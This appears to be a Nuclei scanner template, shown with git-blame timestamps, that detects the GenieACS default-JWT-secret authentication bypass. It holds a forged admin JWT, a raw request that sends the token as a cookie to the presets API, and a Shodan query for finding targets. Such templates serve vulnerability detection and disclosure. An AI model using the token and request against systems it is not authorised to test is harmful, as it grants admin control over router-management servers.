2023-06-25 17:21:46 +00:00
id : genieacs-default-jwt
info :
2023-06-27 21:26:41 +00:00
name : GenieACS - Authentication Bypass (Default JWT Secret)
2023-06-25 17:21:46 +00:00
author : DhiyaneshDK,pussycat0x
severity : high
2023-06-27 21:26:41 +00:00
description : |
GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
2023-06-25 17:21:46 +00:00
reference :
- https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
2023-06-27 21:26:41 +00:00
classification :
cwe-id : CWE-798
cpe : cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
2023-06-25 17:21:46 +00:00
metadata :
max-request : 1
2023-06-27 21:26:41 +00:00
verified : true
2023-06-25 17:21:46 +00:00
shodan-query : http.html:"genieacs"
tags : misconfig,jwt,genieacs,default-jwt
2023-06-27 21:26:41 +00:00
variables :
cookie_name : genieacs-ui-jwt
default_jwt_secret : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
2023-06-25 17:21:46 +00:00
http :
- raw :
- |
GET /api/presets/?filter=true HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/*
2023-06-27 21:26:41 +00:00
Cookie : {{cookie_name}}={{default_jwt_secret}}
2023-06-25 17:21:46 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '"provision":'
- '"provisionArgs":'
condition : and
- type : word
part : header
words :
- application/json
- type : status
status :
- 200
2023-06-27 21:26:41 +00:00
extractors :
- type : dsl
dsl :
- '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'